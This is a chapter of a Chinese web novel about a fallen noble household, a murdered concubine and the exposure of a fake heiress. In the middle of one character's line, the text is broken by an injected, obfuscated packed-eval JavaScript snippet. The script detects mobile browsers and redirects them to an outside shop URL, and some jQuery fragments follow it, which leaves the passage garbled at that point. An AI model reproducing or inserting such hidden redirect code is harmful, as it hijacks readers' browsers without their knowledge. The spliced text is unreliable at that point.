51. 真假千金

作品:《放弃暗恋偏执男死遁后

    在这寒冬腊月里,发生了一件不小的事,许萧然将山水侗娶进门了。


    所有人都很惊讶,阿凰震惊之余就是疑惑,这件事透露着一种诡异感,好像哪里不对劲,她要去见山水侗时,竟受到许多阻力。


    按照她对山水侗的了解,她是不可能同意嫁给许萧然的。


    徐子岑更是魂不守舍,阿凰以为她知道内情,盘问之下才知道她对许萧然芳心暗许,许纯儿看出她的意图,叫弥秋她们教训了她,别的她就不知道了。


    由于山水侗是下人,许萧然娶了她也只能按照妾室的规格办亲事,又办得匆忙,整个过程迅速又简洁,这件事还与襄王扯上关系,就是他亲自赐婚,只因许萧然说对山水侗见之钟情,襄王便成全了这桩喜事。


    并且,婚事还是在国公府办的,就在藕花舍,不少人在背地里揶揄,说侯府母子这一家子人太不像话。


    阿凰曾多次路过藕花舍,仔细查看便会发现外面有人站岗,她还撞见了玄极,头两次他被放进去了,似乎什么也没发现,不甘心,后来即便他说想进去和好兄弟送礼道喜也没能放行。


    正在郁闷着,乌妤又大大咧咧地跑进来,一屁股坐在阿凰身边。


    她甚是好奇,为何最近乌妤经常来找她玩?不是和许纯儿玩得正好吗?之前还跟个头号粉丝似的,这会儿又不跟许纯儿住了。


    她还想着,乌妤和许纯儿关系那么好,或许可以趁此进入藕花舍,她太担心山水侗的现状了。


    乌妤但笑不语,没有提许纯儿的意思。


    她虽被人说一根筋,没什么心眼子,跟个孩子似的,但也不是傻子,自从她回味过来自己被许纯儿利用,果断疏远了,后知后觉发现阿凰的好,相处之下许多事所见略同,只觉相见恨晚。


    “想来奇怪,这门亲事也办得太匆忙了些。”乌妤也察觉了不对劲,“什么一见钟情,我可不信。”


    毕竟许萧然名声在外,都说他阴晴不定,连许纯儿这个妹妹都不敢轻易招惹,颇有城府,私底下拉拢不少人,虽然兄妹俩长得不像,在擅长结交关系上倒是相似。


    “之前他失手打死了恒王府的下人,花钱摆平了,更是得意忘形,我可不信这种人能对一个下人出身的妾有什么好脸色。”乌妤附耳轻声说,“那位阿侗姑娘嫁过去恐怕没什么好日子。”


    阿凰叹气,捏着额角不语。


    乌妤又道:“我也好奇呢,想进藕花舍看看,反而被那个叫弥秋的讽了一嘴,说我一个未出阁的姑娘,打扰人家新婚燕尔,有损名声。”


    越是遮遮掩掩,就越显得可疑,不过那边似乎不怕被怀疑,一副料定没人敢质疑的态度。


    这个冬天似乎无法平静。


    国公府有一远房宗亲,在文安县任职,其府上有一幼子横行霸道,欺压百姓,逼得一家四口惨死,又当街强抢民女致其自尽而亡,那宗亲被弹劾,其子已斩首,圣上问起,竟是国公府的宗亲,牵连独孤老爷被同僚参了一本。


    老太太一把年纪,愁得卧病不起,阿凰如何陪伴她也开心不起来。


    国公府上空笼罩着看不见的阴霾,没多久,又传来许家女婿因收受贿赂被参的消息。


    在独孤老爷被参时,许家母女本就想走,这会儿终于找到机会回侯府,传言更多了,说她们本想攀附国公府,撮合许纯儿接近独孤凤渊,一出事就跑了。


    阿凰去看过独孤凤渊,自从独孤老爷出事后,他变得十分忙碌。


    外头的积雪越来越厚。


    屋外徐子岑踌躇不前,阿凰叫她进来,问有什么事,她这才说:“侗姨娘……就是山水侗姑娘,死了。”


    手中的书啪嗒落地,阿凰被击中般定在原地不动,眼睛都忘了眨,乌妤怕她伤心过度安慰几句,问:“怎么回事?”


    “一开始以为雪地太滑摔死的,后来查出是被毒害,纯姑娘身边的丫鬟弥秋下的手,说是嫉妒侗姨娘一个下人成了主子,原先她们就欺压侗姨娘,现在身份调换,弥秋鬼迷心窍便害了人,许公子已经将她重打三十大板赶出府,她没撑住躺了不到一天也死了。”


    一声叹息。乌妤面露悲愤:“真是唏嘘,这弥秋也算是罪有应得了,只可惜了山水侗这么一个可怜人。”


    这会儿阿凰回过神来,悲痛之余开始怀疑其中的疑点。


    一定有什么事是她们不知道的,从一开始山水侗被强娶就不对劲,恐怕弥秋也只是替罪羊,反正山水侗死了,死无对证。


    山水侗身上到底有什么不为人知的秘密?


    一定和许萧然脱不了干系,甚至许纯儿也有疑点,那会儿她那么帮着她哥藏着山水侗,她是不是也知道什么?


    阿凰恨不得跑去侯府揪住这对兄妹,质问他们到底有什么秘密,为什么非要牵扯山水侗这个无辜的可怜人?可她什么都做不了,她没有证据,没有资格质问任何人。


    深冬的风吹得人骨子里都在疼,阿凰终日窝在暖阁里,老太太的身子经历了上一次打击之后就没好起来,甚至因为气候差更严重了。


    严冬的肃杀好像在昭示着某种无可挽回的未来,阿凰心中生出一种茫然与悲哀。


    这一日,乌妤飞奔着冲进来,看着她脸上的惊慌,阿凰心里噗通乱跳,手脚控制不住发抖,好像乌妤还没开口,她就预感到要发生什么事。


    “恒王爷亲自驾临,朱都尉带了一干人马,将整个国公府都封锁了!独孤老爷被革职查办,现在……外边正被搜查,所有人等不许走动,女眷一律回避。”


    一瞬间阿凰四肢瘫软,趴着桌子久久缓不过来。


    没法派人出去打听消息,她们只能留在原地,像带宰的羔羊。


    仿佛过了很久,来了几个官兵将她们叫出去,府上的人都被赶到一处。


    事发突然,阿凰听着耳边哭哭啼啼的声音,每个人都哭丧着脸,她一时头昏脑胀。


    直到他们排着队被赶出国公府,关押在一处,监牢中响起此起彼伏的哭喊声,阿凰已经无心思考,无力坐在冰冷的地上,铺在地上的稻草不足以驱赶寒冷,她抱住自己瑟瑟发抖的身体。


    精神恍惚过了几日,根本没法正常入睡,每天只有两个馒头吃,阿凰尽量不活动,免得消耗体力。


    这日来了官兵开门,将她无罪释放了。


    此时她才知道,以许家兄妹为首赢党结私勾结襄王,涉事人员众多,几大家族皆被抄家,或流放或发配边疆,家仆被当街发卖,女眷充入教坊司。


    阿凰不是独孤家的人,只是借住国公府的亲戚,没被卖掉,被赦免放回老家,尚年幼的人也被放了。


    她想看看老太太,看看乌妤,还有很多人,可官兵气汹汹地让她快滚,她想从身上找点值钱的贿赂一下,身上干干净净,所有东西早就被拿走了。


    她没钱,就不能雇人送回家,只能自己走路。


    浑浑噩噩走了很久,不知自己走到哪里,前方的吵闹让她抬起头。


    昔日风光无限气势凌人的春夏秋冬四姐妹只剩三人,和别的下人一样被绑起来,当街待价而沽。


    围观的人看戏说:“真稀奇,风风光光的世家竟也有今天,平常都是他们买卖下人,现在也轮到他们被买卖。”


    一番话让阿凰愣住好久。


    这就是风水轮流转吗?


    迷茫间她想起山水侗生前的话,此时像预言一般刺痛人心。


    她不明白,许家这兄妹俩怎么敢带头亲近襄王,同时招惹有兵权的恒王。


    官商勾结、赢党结私、侵吞私产,京官结交外官被恒王弹劾……诸罪加身想翻身也难。


    正好给了圣上一个理由,也是为了筹军饷,打压勾结的世家,这些个名门世家奢靡无度,对于皇帝来说,养肥了就可以宰了。


    只是可怜了山水侗,就因为许萧然来看望许纯儿,暂住国公府,许纯儿担心她和玄极见面,关在藕花舍哪儿也不许去,她才无意撞见许萧然和襄王勾结,被灭口了。


    又饿又渴又冷又累,最后阿凰实在撑不住,眼前一黑,自暴自弃地倒向地面。


    监牢中,许纯儿的声音变得歇斯底里,连连喊着冤枉,有实情要说,声音都喊哑了,官兵终于按照她的意思带来长官。


    “我并不是侯府嫡女,真正的侯府千金不是我,你们抓错人了!”


    迎着众人疑惑的目光,许纯儿咬咬牙,事到如今也只能说出真相,否则她就要被流放去苦寒之地,甚至可能被卖入教坊司,她见过那些姑娘们的惨状,太可怕了……


    原来,许纯儿并不是侯府的真千金,而是顶替的假千金。


    侯府管家才是许纯儿亲爹,多年前他带着两岁的真千金出门玩,不慎走丢,侥幸把许纯儿带回去冒充真千金,因为年龄相仿,且年纪还小,加上得了神棍的仙丹吃下一时长得和真千金一样,慢慢长大后药效失效,这才被偷偷揶揄长残了,不像父母,虽也有人说女大十八变,这些年来的传言一直没少过。


    那些流言蜚语她也不是没有听过,她一直都知道自己是冒牌的,更要苦心经营,就怕暴露那天走投无路,努力结识可造之材就是为了将来留有后手。


    来到国公府就是打算长住,一出场就是焦点,众星捧月,背地里造势让人传她和独孤凤渊天生一对,许姨妈暗地里撮合他俩,她也一心想攀上国公府。


    真心喜欢的玄极无心于她,努力多年没结果,只能转而把独孤凤渊当作她的人生踏板。


    至于那个山水侗,虽在意料之外,却也是她暗地里纵容的,更遑论她发现了不得了的秘密,怕传出去对自己名声不好只是小的,她只能从头到尾袖手旁观。


    把秘密说完,许纯儿不甘地看着牢房外的官兵:“你们去抓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366873|196080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她啊!我不是侯府的人,不是许萧然的妹妹,不该跟着被流放!”


    长官命人去将侯府管家带来,一盘问他就交代了,父女俩终于能光明正大地相认,却是在这种情形下。


    众人一时觉着荒谬,有人问起真正的侯府嫡女去了哪里?管家也无从得知,没人知道侯府真千金是死是活。


    本以为说出真相就能逃过一劫,许纯儿却忘了,她本是侯府家仆之女,免不了被卖掉的命运,更别提她跟着许萧然拉帮结派,被流放还算轻的。


    ……


    后来世人口口相传,京中几个世家盛极一时,却在某日大祸临头,被端了个干净,成千的家仆被发卖,曾经光鲜亮丽手眼通天的那些个主子流离失所,死的死卖的卖,被流放的在路上死了一半,到了那苦寒之地,熬不住又死了一半。


    名动京城的侯府嫡女许纯儿,竟是冒牌顶替的假千金,和许萧然作为党羽之首,许萧然倒趁机自尽死了个痛快,许纯儿就没那么好运了,被襄王的政敌买入府中磋磨,后转手卖进花船,没多久不堪受辱落水而亡。


    世家子弟们的梦中情人风头不再,只剩身后一地骂名。


    再看那世家家宅之中,也换了新的主子,已是物是人非。


    每每听到这些传言,阿凰心中很是唏嘘。


    得知世家被抄,正枫进京找到了她,养父母家怎么也不肯接纳她,是正枫收留了她,两人做着小生意生活,后来传出流言蜚语,正枫便带着她背井离乡。


    当年老太太甚至没撑到被流放,关押的时候就殁了。


    剩下的人阿凰一直在打听,也知道了不少事。


    她心中仍旧期盼故人还活着,这些年一面四处漂泊,一面打听他们的下落,越打听越心凉,她不敢肯定过了这么久是否有人还活下来。


    空余时正枫会去接点活,阿凰干不了重活,便负责送饭。


    据说此地,就是当年几个世家被流放的地方之一,终身服役,做着最底层最苦最累的活,毫无尊严可言,有的在驿站负责送信喂马,有的为官府开荒垦农田,有的去挖矿修城墙,往往撑不了多久就死了。


    经过小道,阿凰往下望去,看着荒地里服役的苦工,正赶上他们休息吃饭。


    她一眼就看见了那个人,惊得不知所措,愣在原地,那边的人们发现了她,那个人跟着望过来。


    她拼命跑向他,明明只是两块地的距离,却用了她全身的力气。


    他还活着。


    “你还好吗?”时隔多年,再次见到独孤凤渊,他开口第一句却是问候她。


    此时的他再也没有国公府嫡长子的气度,那双琉璃眸中也似蒙了一层尘埃,再也没有光彩。


    他身上的衣衫破败不堪,脸上也都是脏污,胳膊上的伤口还未痊愈。


    阿凰的眼泪一大颗一大颗滚落,张了张嘴却失去了说话的能力,独孤凤渊抬手想为她擦去泪水,看到自己黑乎乎的手,又收回去。


    两人走到一旁,好久阿凰才找回了自己的声音:“你们呢?都怎么样了?他们还在吗?”


    独孤凤渊垂首,沉默着摇了摇头,什么也没说,却已经是告知答案。


    这世上明明有仙者,怎么不管无辜之人的死活?她真希望自己也会仙术,至少此时能带走他,可重刑犯服役逃跑,是诛九族的死罪,这种想法只能留在心里。


    “幸好你没受牵连。”独孤凤渊静静说,竟有一种欣慰与满足,“如今这样,已经很好了。”


    有罪之人已罪有应得,身子不好的人撒手人寰,也免得遭受后头的苦难,甚至还有人能活下来,已经很好了。


    “你恨吗?”阿凰问。


    独孤凤渊扯了扯嘴角:“恨?又能改变什么呢?”


    知道自己只是许纯儿的垫脚石后,他只能自嘲,识人不清,回首望去,那些时光好像被她下了降头。


    十几岁就落得个家破人亡的结局。


    他们并没有太多时间可以休息,吃饭也得很快解决。


    独孤凤渊回到人群,开工前,他回头与阿凰对视,隔空相望,他笑了出来,阿凰也牵动嘴角回以一笑。


    然后,两人背对背走向前方。


    多年后某一天,阿凰见到了仙琼山韩家大小姐,或者说对方就是来找她的。


    两岁时的记忆回到脑海。


    中秋之夜,人潮拥挤,她被管家带着游玩,忽然失散了,再后来,她就被养父母捡到。


    一切都想起来了,她是被侯府管家弄丢的,被许纯儿顶替身份的侯府真千金。


    可事到如今,知道了又有什么用呢?阿凰反而庆幸,否则她就要以侯府嫡女的身份被流放了。


    没有享受过千金小姐的身份,却要被连带着受罚,那也太惨了。


    所以,这样也挺好的,如今这样,已经很好了。